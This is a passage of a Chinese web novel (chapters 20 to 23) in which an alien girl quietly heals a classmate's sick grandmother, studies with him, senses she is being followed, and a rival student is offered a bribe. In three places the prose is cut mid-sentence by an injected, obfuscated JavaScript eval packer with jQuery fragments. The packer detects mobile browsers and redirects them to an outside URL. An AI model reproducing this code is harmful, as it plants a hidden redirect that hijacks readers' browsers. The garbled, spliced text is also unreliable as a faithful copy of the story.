刘叔被挡在车门外,异常无奈,白草莓双手合十,隔着窗户跟他道歉。
公交车刚启动还不算稳当,白草莓踉跄了两步,差点没站稳,陈序让她坐下,自己掏出手机刷了两次乘车码。
路上陈序没说话,只拉着她又转了几趟车,辗转来到了一个破旧的小区。
白草莓一看那错落紧凑的建筑风格,认出来这是陈序的小区,从狭管吹出来的风像刀子一样。
陈序向她走近两步,把刮人的风全都挡住了:“白草莓,你,真的是外星人吧。”
白草莓一怔,又记起白澜亦的嘱托,咬着嘴唇没有应答。
“上次你的眼泪治好了我的伤,我想请你试试救我奶奶。”
20. 20
白草莓的头发被风吹得乱摇,陈序的头发也被吹得竖起来,她无端想着,他们都该剪头发了。
陈序从她的无声中读出了拒绝,把头仰高,眼泪被逼了回去,又故作轻松地垂下脑袋:“没关系。要不跟我上去看看奶奶,她要是知道有人来看她,肯定很高兴。”
白草莓背着手,惭愧地点点头,跟着陈序的脚步往楼里走。
其实最大的原因不是怕暴露身份,毕竟她曾经在陈序面前被动“自证”过,陈序也没把这件事宣扬出去。
她是担心自己能力有限,把陈序原本有序进行的计划全部搅乱。
1223星上的白色植物很多年前是有疗愈属性在身上的,可惜后来医学进步,科技发展,绝大多数的疾病全都被技术性消灭,植物们再也不会生病,也不再需要白色植物。
白色植物的地位逐渐下降,白草莓的原株就是驾驶员,一代代分裂出白草莓来,白草莓也是驾驶员,她也不清楚自己的疗愈属性究竟能有多大的威力。
陈序在前面开路,跺了两下脚没把灯跺亮,扭头提醒白草莓:“注意脚下,这楼里的灯又灭了。”
老旧小区的台阶不人性化,没有防滑措施,时间久了被行人踩踏成了前高后低的形状,加上最近这几天不好,墙面上的水洇到台阶上,又湿又滑。
“好。”
白草莓刚应了一声,脚下就突然一滑,整个人往前扑,眼看着就要磕在阶沿上。
陈序一双大手落下,拎住白草莓的后衣领,截住她往下摔的趋势。
两人默契地同时舒了口气,陈序腾出位置,示意白草莓走在前面。
白草莓后怕地双手捏住栏杆,每落下一步都小心翼翼,脚步颤巍巍,模样好像努力复健的骨折患者。
陈序轻笑,让她放宽心:“走在我前面,哪怕摔了,也有我兜底。”
旧楼里的回音很重,陈序的脚步沉稳坚定,盖住了白草莓试探迟疑的步伐,护栏年久失修,就这么一路吱呀吱呀响到了楼上。
陈序早跟奶奶讲过要请同学来家里做客,她特意把门打开,煮了茶,端了水果点心出来,只是没等到客人来,自己先坐在门口的摇椅上睡着了。
白草莓上了最后一阶楼梯,不用陈序提醒也清楚是到家了,她转头看向身后慢了两步的人。
陈序明白她的意思,蹲在奶奶身边轻轻把她叫醒:“奶奶,我带朋友来看你了。”
奶奶迷迷蒙蒙地睁眼,拍了拍陈序的脸颊,又去看白草莓,一个干净漂亮、笑起来开朗阳光的白嫩姑娘,她也扬起个笑来,撑着把手坐起来,招呼白草莓往里进。
“来来来,别客气,吃水果。”奶奶递了个红彤彤的苹果给白草莓,拍了下陈序的屁股,批评他不晓得给客人倒杯茶。
陈序一蹦三尺高,红到耳朵尖:“奶奶!我同学还在这儿呢!”
他这不是连家门都还没踏进去嘛,怎么给客人端茶倒水啊,而且他都不是小孩子了,平常在家里打打就算了,当着白草莓的面就不能给他留点面子吗?
白草莓啃了口苹果,环顾四周。
这间房子不算大,客厅跟厨房共用,一间带阳台的房间被隔出两个卧室,也不算多整齐,毕竟是三代人共同居住过的地方,仔细看有些地方还能发现陈序父母留下的痕迹。
但这房间确实温暖,门框边留着陈序的身高记录表,可惜停留刻度在一米五的时候,墙上贴满了大大小小不同的荣誉奖状,沙发上套着干净柔软的罩单,连被淘汰的老式电视机上也罩着,一看就是出自奶奶的手。
透进室内的光不多,陈序顺手拉开桌上的台灯照明,暖光照得杯子里的水都暖乎乎。
白草莓第一次来到这种窄小拥挤的房子里,却忽然明白为什么白澜亦老是说家里冷冰冰。
陈序和奶奶挤在水槽边,一个说我来洗,另一个也说我来洗,挣来抢去还是陈序赢了。
原来冰冷的不是房间,是相处。
陈序把葡萄一颗颗洗好放到白草莓跟前,此刻她眼前已经堆得像小山一样,无师自通学会了摆手拒绝:“不用了,太多了,我根本吃不完的。”
陈序摘下围裙丢在一边,一米八的大块头委委屈屈地缩在白草莓身边的矮凳上,拈了颗葡萄丢进嘴里,解释道。
“这小区太偏,读书仔都搬进市区了。奶奶好久都没见过跟我同龄的小孩,热情过头了,你别介意。”
奶奶热了两杯纯牛奶,分给陈序和白草莓一人一杯。
陈序哎呦一声,硬是把奶奶拉到身边坐下:“快别忙活了,这不是还有热茶嘛。我们两个年轻人头上是脑瓜不是呆瓜,饿了晓得找吃的,用不着您安排来安排去,坐下吧。”
奶奶抖着手在陈序头上拍了一下,笑吟吟地把牛奶搁在白草莓跟前:“纯牛奶好,你年纪小,喝了长高。”
陈序捂着脑袋嘟囔一句:“还长高呢,再长都一米八了。”
“谢谢奶奶!”白草莓接过牛奶,转头看向陈序,努了下嘴质问:
“一米八不好吗?你能长到一米八,我也要长到一米八。”
白草莓扎好吸管大吸一口,结果液体呛进了气管,话还没说完就开始狂咳,吓得陈序又是一阵手忙脚乱。
几张手帕纸递给白草莓。
她趴在水槽边咳干净了,才接过一张擦去脸上的水,陈序把剩下的纸收好装起来,抱着胳膊看她笑话:“我可不知道,白大小姐还有个长到一米八的梦想。”
白草莓擦了擦手,跟陈序比了比身高。
她的族群不分性别,但强壮高大与否很重要,至少个子越高,越能被高处的阳光照射,就能长得越高,由此循环。
“能长得越高、变得越强壮、保护自己,为什么不呢?你看奶奶多厉害,把你养得这么高这么壮,都没有人敢欺负你。”
陈序靠在水槽边上,苦笑一声“是啊”,可奶奶把他托举长大,他现在却没办法救奶奶,冰冷的数据,屡屡失败的合成实验,究竟什么时候是个头呢。
“哐哐哐。”
门口有人敲门:“奶奶,小序在家吗?”
陈序两步走过去,拉开了门:“我在呢,张叔。怎么了?”
“还不是楼底下那电闸,又跳闸,这个月都第三回了……”
陈序站在门口跟邻居沟通着什么,白草莓就蹲在奶奶身边陪她。
“我们家小序是个好孩子吧,干什么事都利索,年轻又有劲,街坊都喜欢来找他帮忙,比外面收费的人还靠谱呢。”
奶奶说话温声细语的,眼里嘴里对陈序都是满意,白草莓点头,牵住奶奶的手,想着陈序在学校里也很靠谱,就是收费有点贵,比专业人士还贵。
“白草莓。”陈序叫她。
白草莓转头看他:“什么事?”
陈序说:“我得出去一趟,你帮我照顾一下奶奶行吗?”
“呦,小序带朋友来啦,我瞅瞅我瞅瞅,”张叔从门缝里挤进来,看见白草莓嘿嘿一笑:“哦,我记得你,那天在医院的是不是也是你?我跟你说啊,小序难得有……”
“张叔,你啰嗦了,”陈序勾着张叔的脖颈把他带出去,反手关上了门:“再跟我说说是哪个电闸坏了……”
二人的脚步声越来越轻,看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025113|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来是走远了,白草莓偷笑,没想到陈序在熟人跟前是这副模样,她转头想跟奶奶聊聊天,发觉她躺在摇椅上又眯了过去。
人类年龄大了之后身体机能下降,容易疲惫,长觉不多,短觉不断,往那儿一坐就容易睡着,何况奶奶还是个病人。
白草莓牵着奶奶的手轻轻抚摸,这上面的褶皱像是年轮一样代表了她的阅历。
接连经历儿子儿媳出意外和老伴病逝,她还能忍着病痛艰难把陈序拉扯大,是很个坚强的地球人。
白草莓闭上眼睛,细白的触手缓缓探出来,贴上奶奶的手臂,融进她的身体里,四处游走……
陈序修好电闸之后顺手跟张叔一起把楼道里的破电灯换掉,顺带吐槽他。
“张叔,你下次团购电灯泡能不能别那么抠?这是电器,二十个才三块钱的东西你装上不怕它炸?”
张叔听见陈序教训他,连连诶了几声,收起梯子扛在肩上就跑了。
只许州官放火,不许百姓点灯。说他两句恨不得装上八条腿往外面跑。
陈序摇头,边上楼边摸钥匙,到了楼层,将钥匙插进锁孔里,顺时针一转,发出咯噔一声响。
可惜门没开,陈序拿脚抵住门,双手捏着把手往上一抬,这声“咔”后,门才能拉开。
陈序对这一套流程简直熟的不能再熟。
他进门时白草莓正坐在沙发上往嘴里填葡萄,眼睛直勾勾盯着他,好像刚做了什么坏事怕被发现。
“奶奶呢,又睡了?”
白草莓点头:“嗯。”
陈序把钥匙往门边一挂,三两步走到沙发边上,也往嘴里填了颗葡萄:“味道不错,你要是喜欢,等会给你打包点带走。”
白草莓摇头:“不用了。”
陈序奇怪地看着她:“你有什么想说的,环境不好还是招待不周?你光点头摇头,我可解决不了问题啊。”
“我是想问奶奶的病,和你的研究。”白草莓直言不讳。
陈序见她这么直白,也是一愣,随后坐直了身体,把奶奶的病情和自己这几年做的研究细致地说了。
说完他仿佛是心口的一块大石松动,狠狠地舒了一口气。
“那个药我已经合成过近千遍,这几次是最有可能成功的,但最终还是失败了,这几乎耗尽我所有的积蓄。我经历过太多次惨败,却被几次惜败折磨得头脑发昏。”
说罢,他看向白草莓,眼神有些愧疚:“这是我的事,我不应该因为自己没办法做到就强求你来帮助我。对不起。”
白草莓能理解他的心情,依旧笑得温和开朗:“没关系,你可以慢慢来。我相信你。”
陈序往嘴里塞了颗葡萄,感受到它甜腻的汁水遍布口腔,轻轻笑了:“那我借你吉言。”
奶奶睡了,白草莓没坐多久就也告辞,陈序从家里翻出几枚硬币递给白草莓,手插着兜送她去公交站,依旧绅士地站在旁边替她挡风。
白草莓看着路牌上的公交名,上面有个地方叫“未来桥”,于是张口问陈序:“要是以后奶奶的病治好了,你会做什么工作?”
这话可难倒了陈序,他这些年脑子里就只有挣钱和学医,治好奶奶是头等大事,确实没想过治好奶奶以后,他该做些什么。
“车来了,我先走了。”白草莓投币上车,趴在窗口处冲陈序招手,在公交车发动之前又说:“你慢慢想吧,有的是时间。”
陈序站在站台上,仰头看着白草莓,头发胡乱拍打在脸上,他轻轻笑笑,听着这话像是一语双关。
白草莓总有种能力,让人一见她,就再也想不起难过的事。
21. 21
白草莓坐在微微摇晃的公交车里,将头贴在玻璃上,车辆行驶时车窗玻璃发出的叮当声响让人心静。
她现在心情不错,因为刚刚检查了奶奶的身体状况,顺带进行了……优化?
白草莓勉强找到合适词语进行表述。
总之虽然她没有办法修复免疫系统的缺陷,但用了一些精神力包裹在细胞上,部分替代了它的功能,某种程度上算是延长了奶奶的寿命,给陈序争取了时间。
细小的雨珠打下来,白草莓托着下巴,伸出一根指头点在玻璃上,描摹水珠的痕迹。
她想,她确实在地球待得够久了,再待下去,她要舍不得走了。
*
“好哇!一走就走十多天,不接电话不回消息就算了,你竟然是背着我偷偷去住院?!”
许缨拉起白草莓的胳膊,目光把她浑身上下打量个遍,看她没什么大碍才肯罢休:“老实交代!为什么要住院啊?”
“我也是突然被带过去的,没来得及。”白草莓搓搓脸颊,不好意思地说:“不过我这是复查,又没什么问题说出来不是让你担心?”
“但你什么都不说我不是更担心?”
不过她这理由在许缨这里勉强过关,拎出一瓶牛奶放在白草莓面前算作和好礼物。
“这段时间你不在学校里,我简直是望穿秋水,哎,连带来的牛奶都只能自己喝。”
许缨贴心地拧开牛奶,重新推到白草莓身边。
白草莓拿过熟悉的牛奶瓶,凑到嘴边,抿了一口,熟悉的沁凉涌过全身,她按住胸口,朝许缨笑道:“这个牛奶好好喝,你在哪里买的啊?”
许缨皱起眉心想了好半天:“好像是从C市还是哪儿的进口超市吧,我记不清了,我爸听说味道好,订了好多箱每周都送,根本喝不完。”
说完,她认真地给白草莓提建议:“你这么喜欢的话,等会跟我回家搬两箱。”
白草莓摆了摆手:“不是不是,我是想说你喝了牛奶之后有没有发觉自己身体有什么变化?比如,身体长高了,体质变强了,或者是火气更旺了……”
牛奶而已,这么短的时间能看出来什么变化?
许缨虽然心里奇怪,但看白草莓问的认真,还是偏头想了想:“要说实在有什么变化的话,我最近上课老是犯困算不算?”
这算哪门子的变化,只能说最近天气不好,老是下雨才犯困吧
白草莓勉强笑了笑,调侃许缨:“我看是我不在,上课没人跟你聊小天儿你才老是犯困的吧?”
许缨扑倒在白草莓身上:“你也知道!!”
话题重新回到了“问责白草莓”上面,白草莓五体投地,只好学着许缨哄人的方式哄许缨。
两个人笑闹着,白草莓的视线却不由得落在桌上那瓶牛奶上。
要不是偶然在白澜亦那里喝到最纯粹的版本,她也没想到这些天精神力的异常猛增的原因会是许缨带给她的牛奶。
白草莓有些头疼,隐约察觉现在事情牵扯得越来越广,越来越难办了。她现在也逐渐理解白澜亦的嘱托。
“叩叩。”
白草莓旁边的窗户被人敲响,随即一小盒水果递了进来。
陈序撑在窗台上笑,看白草莓望过来,双手合十,神情恳切:“拜托,请务必收下。那天你空着手走,奶奶醒了之后给我好一通骂。”
许缨打开便当盒,看见里头的葡萄个个又大又圆,水汪汪的,被很用心的清洗过。
她瞥了眼陈序,凑到白草莓边上,仰头问两人:“介意我尝尝吗?”
白草莓当然不介意,陈序双手抱胸,调侃:“许缨,你缺这两颗葡萄?”
许缨瞪了瞪眼睛,炫耀似的把葡萄丢进嘴里,飞快往白草莓嘴里也塞了一颗:“我和白草莓都不缺。我发现陈序你啊,不仅是个财迷,还是个小气鬼。”
陈序耸耸肩,双手叉腰,没有反驳:“这两个形容词并不冲突。”
白草莓靠在墙上看他俩斗嘴,捧着便当盒递到陈序面前:“你也尝尝,味道很好。”
陈序抿唇笑了,捻起一颗丢进嘴里,“好了,你们学习吧。白草莓,等会放学我要看见你最新的笔记。”
说完,陈序拉上窗玻璃,双手揣兜踱步离开,心情颇为不错。
许缨又往嘴里添了两颗葡萄,歪着头打量白草莓手里的便当盒,盒子像是刚买的,底下的标签都还没撕掉。
她怎么不知道白草莓什么时候跟陈序有这么深的交流了。
“你去看过陈序奶奶了,什么时候?还不给我从实招来?”
白草莓只好从实招来。
下午的课结束,白草莓收拾书包准备去咖啡店,以往放学之后就撒欢跑掉的许缨难得还坐在位置上。
白草莓把物理课本塞进书包里,看她突然闷闷不乐,关心道:“怎么了?为什么不开心啊?”
许缨把手机熄屏,放在桌子上,整个人四仰八叉靠在椅子和白草莓身上,哀怨极了。
“怪我老爸,他给我报了个补习班,学什么天体物理,说以后当航天员。但他之前对我的期望都是当个飞行员,不知道这回又是吃错什么药了。”
白草莓曾经听许缨讲过,她从小到大的人生就已经被爸妈规划好了,她爸想当飞行员没当成,就把希望都寄托在她身上,她就按着规划一步步来。
问起许缨自己想做什么,她也说不清楚的兴趣爱好,要是做航模看航模展算一个的话,她找不出来第二个了。
“算了,不说这些废话了。”许缨坐起身,三两下收拾好书包,跟白草莓挥手再见:“我先走啦,草莓。”
白草莓点头,把最后一本笔记放进书包里。
走在校园里的林荫小路上,周围的树随着风簌簌摇晃,白草莓心想,其实当人类也挺难的,每天都有这么多东西要学,学来学去,但还是搞不清楚自己最想要什么,不如当棵树。
到咖啡店的时候,陈序已经在了,推开门,又是熟悉的一声“叮铛”。
扎着小辫的店主像是从柜台底下刷新,每次见他都露个小辫在下面忙碌。
陈序靠在椅背上,双手垫在脑袋下面,看她进门,开玩笑道:“我那天带你回家见奶奶好像是个错误。”
白草莓放下书包,不明所以:“怎么说?”
陈序“哎呦”一声,跟她诉苦:“你不知道这两天,奶奶嘴里都在念叨你,感觉是忘了我这个孙子,把你当成亲孙女了。”
白草莓摊开笔记笑着回他:“你好像是嫉妒我。”
“是,我可嫉妒你了。”陈序拉过她的笔记本,一边回应,一边顺手在边上的草稿纸上写了过程下来:“你这学习能力可以啊,上次列给你的书看了吗?”
经陈序这么提醒,白草莓才想起来书包侧兜里塞着的书单。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029093|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不怪她辜负陈序的一片好心,实在是前段时间事情接踵而至,时间安排得满满登登,都没有功夫想起来这件事。
“抱歉,我忘了。”白草莓不好意思地笑了笑。
陈序不以为意,把草稿纸夹进笔记本里推回去:“这有什么好道歉的。正好这周末我要去书店,你可以跟我一起去。”
“那好啊。”
白草莓绝大多数的周末是躺在楼顶晒太阳,只偶尔跟许缨约着逛过植物园,她也很久没出去玩了。
可惜天公不作美,周内的天气不错,偶尔有太阳出来,到了周末,天又是阴沉沉的。
刘管家把她送到约定的步行街,“小姐,真的不需要我跟着您吗?”
白草莓拿了伞下车,俯身跟他讲话:“没事的刘叔。我就是去买几本书,而且步行街里有那么多人呢,就算有坏人也不好下手,您忙自己的事就行。”
自从上次出了事,刘叔对白草莓的行踪越来越关注,恨不得一天二十四小时跟在她身边。除了白草莓在家的时候,他似乎都要没了自己的生活,白草莓更情愿待在自己身边的人都是高兴的。
刘管家微微点头:“那您一会需要帮助,一定记得联系我。”
“一定。”
白草莓目送刘管家开车离开,抬手看了眼时间,约定的书店在商场二楼,时间充足。
这里不是市中心,但周末哪里的人都不少,何况商场还有促销抽奖活动,中央厅里不少穿着玩偶服的人在表演,人群熙熙攘攘,肩挨着肩。
不知道为什么,白草莓总觉得脖颈凉嗖嗖的,就好像一直有人偷偷跟在身后,时刻盯着她,可放出触手四处观察,又没有发现什么异样。
真是奇怪。
白草莓搓搓脖颈,环顾四周,心想着或许是商场里的冷气开得太足了,她骤然从室外走进来还不适应。
她顺着商场内的指示牌来到二楼书店。
有顾客不小心在门口洒了一杯奶茶,清洁人员刚清理过,放了块“小心地滑”的警告靠在门上,可是警告牌顺着玻璃门滑了下去。
白草莓凑近想去看看上面写了什么,身后突然传来的声音把她吓了一跳。
“鬼鬼祟祟的,干嘛呢?”
陈序也是刚到,跟她走的不是一条路,还没靠近书店就看见白草莓蹑手蹑脚的,活像是打算把人家店门口的盆栽偷走的样子。
白草莓没料到他突然开口,脚底下踩着湿地砖骤然一滑,身子一斜,两只手下意识往地上撑,触手来不及伸出来,鼻尖跟地板上的水渍仅有两指的距离。
事情发生得太快,陈序看见她即将摔倒,都准备扑过去垫在她底下了。
谁晓得白草莓平衡感惊人,双手在地上一撑,腰一转,奇迹般重新站了起来。
陈序不由得鼓了鼓掌,弯起嘴角轻笑:“白大小姐深藏不露。
“你是不是属狐狸的,这两天净‘脚滑’了。”
白草莓嘿嘿笑了几声,也震惊于自己有这样的潜力,摊开手转了两圈:“我应该属‘树’,脚跟很稳。”
跟陈序待得久了,白草莓也从他身上学到了一点幽默感。
“走吧,进去看看。”
白草莓跟着陈序往书店里走,余光瞥见角落里镜光一闪,等她回头去看,却没发现端倪。
“怎么了?”
白草莓摇摇头:“没事,可能是我眼花了。”
22. 22
这间书店的书籍种类丰富,不管你是要找名著还是名著的小语种译版都能找到,更别说学习用的工具书了,一整面墙上都是各年级各学科的习题,多如牛毛。
来这里的学生很多,尤其今天还是周末,几乎没有空位置下脚。
陈序从书架里拿下一本,给白草莓解释:“这本适合学习前阅读,把握整个知识点脉络……”
说完,他抽出另一本:“这本用来课后巩固,跟刚刚那本搭配使用……”
“这本……”陈序转头一看,身边已经没人了,白草莓蹲在橱窗边上,伸着手逗里面的猫。
陈序松了口气,又低头看了眼手里长长的书单,交给最近的店员,请他帮忙找齐。
“喵喵喵。”
眼前这只猫挥着粉爪爪跟白草莓互动,浑身毛发卷曲,在橱窗暖光灯的照耀下,黑白相间的它被衬得懵懂又乖巧。
白草莓看着,心都要融化了。
真是可爱的地球专有小东西。
“喜欢猫啊?”陈序靠在玻璃墙上,抱着胳膊看她隔空逗猫,“里面是间猫咖,要不进去坐坐?”
猫,咖。
白草莓勉强理解这个新词汇,点点头,而后忽然停住,才想起来正事:“可是我的书还没买完呢。”
“没想到被宇宙噬魂兽吸引之后还能想起自己要干什么。”
陈序目光在周围嬉闹的小孩身上略过,出声安抚白草莓:“没关系的。你一下子买那么多,都可以直接让店员送到家门口。走吧,正好找个地儿歇歇,外面都满了。”
白草莓兴高采烈地进了猫咖,穿鞋套,洗手,消毒,终于坐在猫猫堆里,拦住一堆就猛吸,身后看不见的触手也在弹出来兴奋撸猫。
毛茸茸,好可爱。
好想啃一口。
一只猫竖着尾巴蹭了蹭陈序裤脚,他俯身撸了把猫头,挨着白草莓坐下,拉过一边的菜单,问:“喝点什么?我帮你点。”
白草莓从猫猫海里露出一双水汪汪的眼睛:“这么贴心?你不会要收我服务费吧?”
听她这么说,陈序简直要被气笑了,他这是跟女生相处的正常绅士行为。
啧,他有些怀疑,白草莓是不是跟白澜亦那个冷漠毒舌怪相处久了,这点小细节都能让她觉得贴心?
陈序忽然想逗逗白草莓:“如果我真要收你服务费,你给不给?”
“给。”白草莓勉强伸出两根指头:“给你双倍。”
呦。
这还真超出了陈序的预料,他嘴角轻轻勾起,又问:“真的?这可是你说的,我没逼你。”
白草莓抱着猫猫,认真点头:“因为你给的建议很有用,我很满意。”
说完,白草莓重新把头埋进猫里,一脸陶醉。
陈序无奈苦笑,按照之前的口味给白草莓点了杯热拿铁。
陈序从书店里借了几本书来看,白草莓就坐在他边上撸了一上午的猫。
眼看到了下午一点,陈序的肚子都饿得咕咕叫了,白草莓还乐不思蜀,不愿离开。
最后还得陈序强制把她跟猫猫分开:“好了,又不是以后都不来了。”
白草莓满面春光,嘿嘿傻乐。跟猫猫相处时,除了幸福,别的什么想法都没有了。
离开书店,陈序走之前买了两本书,白草莓张开手跑出去,趴在护栏边上看了一会,确认道:“下雨了。”
晴天好,雨天也好,白草莓会出去溜达两圈不带伞,就是阴天最讨厌,不下雨也没太阳,冷飕飕的还刮风,叫植物心情不好。
陈序站在她边上,正在手机上搜索附近推荐,他现在立刻马上急迫地想要吃到热乎饭。
他戳了戳白草莓的肩膀,给她看手机上的路线:“从这里下去,经过步行街,再过一条马路,那地方有家面馆。快高抬贵步吧大小姐,小的要饿死了。”
听见陈序说自己要饿死了,白草莓脚步匆匆,这可是事关人类生命的大事,她一步不停地从楼上一直走过步行街,速度快到陈序差点跟不上。
白草莓神色认真,双手摆动幅度一致且速度惊人,让陈序无聊联想到活跃在公园里的暴走团,小跑跟在她身后,简直哭笑不得。
“也没必要这么急,可以慢慢走……诶,小心!”
边上一辆原本停住的车忽然启动右转,没打转向灯而且起步速度很快,看上去就像是冲着白草莓去的。
陈序动作快过脑子,一把把白草莓拽了回来,自己却惯性地往前,被车头刮了一下,狠狠摔进边上的花坛里。
幸好是花坛,里面不是水泥地摔着不疼,但不幸也是花坛,陈序双手按在土里,再拔出来就带上了满手的泥。
他坐在泥里,甚至不敢起身,尴尬到极点只想捂住脸,但满手的泥让他仰天长叹,心里把刚刚那辆不遵守交通规则的车骂了八百遍。
白草莓撑着伞蹲在陈序跟前,伞面向他倾斜,看他半晌不动弹,笑着问:“你很喜欢坐在这里吗?”
陈序拿还算干净的手背抹去脸上的雨滴,留下一道浅泥印,看着白草莓明媚的笑容,苦笑两声,不知该作何回答,只觉得命苦:“对,我还喜欢玩泥巴。”
说完,陈序自己都觉得好笑。
“那我也来试试。”
白草莓却把他的话当了真,把伞搭在陈序肩膀上,用几根指头刮干净陈序手上的泥。
她简单捏捏,捏出来一个长着五条腿的火柴人,递到陈序眼前,骄傲地声明:
“看我捏的猫,像不像?”
这一举动让陈序感到尴尬的氛围顿时消弭。
他搓着手里湿滑的泥,嘴角压了又压,才理好情绪,违心地连连点头,笑着说:“像,特别像。但是……
“这下我们两个人的手都脏了,谁从兜里拿纸呢?”陈序摇了摇自己还挂着稀泥的手,嘴角的笑很是无奈。
“这算什么问题啊,直接拿啊。”说完,白草莓直接拉开书包拉链找到湿纸巾,先抽出一张擦干净陈序脸上的泥印,又抽出一张全新的递给陈序擦手。
她一点也不介意自己的书包被蹭脏,就像一点也不介意陈序一屁股坐进泥里,双手还脏兮兮。
陈序接过湿纸巾,仰头看着白草莓,毛毛细雨落下来,在她的头发上凝成一颗颗水珠,像戴了顶珍珠皇冠,她的笑容真诚,没有一丝挖苦和嘲笑,只有温暖。
有时候这世界上不缺一个在你窘迫时保持沉默的人,但实在是缺一个陪在你身边化解窘迫的人。
陈序看着看着,笑意忽然加深,连眉梢都微微扬起,这次是发自内心的笑。
他站起身擦干净手,扭头看了眼被泥水印出两个屁股蛋的裤子,突然就释怀了:“这下得先解决裤子的问题,再解决肚子了。”
“那就一项一项解决。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032705|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
不远处,刚刚那辆刮了陈序的车拐了回来,停在路口,静静看他俩走远,又跟了上去。
*
自从上次跟陈序去书店回来后,白草莓总觉得自己身后跟了条尾巴,可惜一直除了感觉之外,她也一直没发现什么异常的地方。
后来她跟刘叔讲了,刘叔坚决要时时刻刻跟着她,哪怕跟陈序在咖啡店里补习,刘叔也坐在外面车里等着,好在有刘叔跟了几天,白草莓确实没有以前被跟踪的感觉了。
“哎呀,我看你这就是PTSD延迟发作了,要怪就怪康嘉乐。”
许缨听了白草莓的顾虑,提出自己的见解,顺带吐槽了一把康嘉乐:“正常人无缘无故绑你干嘛,绑白澜亦不是更轻松?也就康嘉乐那呆子,把智商当老干妈拌饭吃了,差点花钱把自己送进去,得亏是你福大命大才没出事。”
许缨这张嘴也是,舔一口嘴唇能把自己毒死。管你是男女老少,本部还是国际部,看得不顺眼通通怼一遍。
被绑架过这事没多少人知道,白草莓也不打算再提起,撑着下巴换了话题:“上次杜老师提过的志愿者选拔竞赛是什么时候啊,你准备得怎么样了?”
“下周三吧。能准备成什么样?也没个范围,就那样呗,反正前面还有不少人呢,我希望不大。”
许缨努了努嘴,示意她看前排奋笔疾书的几位本部学子,每一位都榜上有名,比起她,他们才更有可能超过陈序。
看了眼没人的后桌,许缨张开手往上一摊,伸了个大大的懒腰,外面阴沉沉的天阴沉沉的,没办法出活动,待在教室里要把人憋得长蘑菇:“你说这雨断断续续的,什么时候放晴呢?就这鬼天气,学校还要办运动会。”
“运动会,什么时候啊?”白草莓回忆回忆,好像没听过类似的通知。
“你前一阵‘失踪’了,当然不知道。”许缨摇摇头,按着胸口叹了口气:“要办也肯定是安排在竞赛后面了,田赛在露天运动场,要等雨停。”
白草莓趴在窗口看雨,许缨趴在她肩膀上,两个人漫不经心地一问一答。
“草莓,运动会你要参加吗?”
“运动会要运动吗?”
“是啊。”
“那我不想运动。”
“不想运动就不参加,对了,那个竞赛陈序会参加吗?”
“会。”
“那可太好了,我可以彻底躺平不学了。”
“我觉得你可以学一学,在我心里,你比陈序厉害。”
“是吗,为什么不选我当你的补习老师?”
“……”
“白草莓你学坏了,你会撒谎了。”
“我根本没说话!”
两人异常闲适的聊天内容轻飘飘地传到前排,杨筝手里的笔越握越紧,紧到手腕不受控制地开始颤抖。
凭什么她们可以想不学就不学,想不参加就不参加,她学得眼睛都快瞎了,却还要硬撑着比下去。
“嗡嗡——”
她塞进下层的手机突然震了震,是那个手机号又发信息来了。
“考虑好了吗?同意的话,我可以给你星系观测中心的实习生名额。”
“有了这个名额,你不需要再竞争什么志愿者参加科研会镀金,立刻就能参与跟进同等级的项目,申请国外藤校。”
“这是你的最后一次机会,尽快给我答复。”
23. 23
考虑到志愿者选拔竞赛存在部分学生不参加的情况,高一教学组预备在本周进行一次月底小测。
一私的考试安排得并不频繁,但白草莓确实是第一次参加,别人听见消息都不怎么开心,只有她一个兴冲冲地摩拳擦掌,准备大干一场。
白澜亦推开家门,被那盏闲置已久的水晶灯璀璨夺目的光给晃了眼,下意识抬手遮住光。
白草莓坐在茶几边上,乱七八糟的书被摊开放了一圈,她四仰八叉地瘫在沙发上,看白澜亦进门,有气无力地问:“你怎么才回来?”
每次听见白草莓这种问话,白澜亦都没有觉得冒犯,他自己也奇怪,似乎内心深处一直期待着这样的生活。
“在实验室多待了一会。”白澜亦把书包放在一边,走过去慢条斯理把白草莓的书都扫了一眼:“学得还挺认真,就是字丑。”
白草莓气鼓鼓地合上书,侧过头嘟囔:“我之前连这两只手都不存在,能写出字来已经很努力了,你还嘲笑我?”
“说你两句还生气了?”白澜亦不会哄人,也没打算哄人。
他随手翻翻书,看见了一道格外刚正锋利的字迹,凝神想想,问白草莓:“我听说你找陈序给你补课?可我已经答应帮你找飞船了,你不会是爱上这种繁杂的分科教育了吧?”
确实,白草莓最开始发愤图强学习就是因为白澜亦说她要是学习好就告诉她飞船的下落,但后来是因为陈序,他们不是朋友嘛。陈序又缺钱又自尊心高,她不得找个合理的方法帮帮人家?
“所以……”
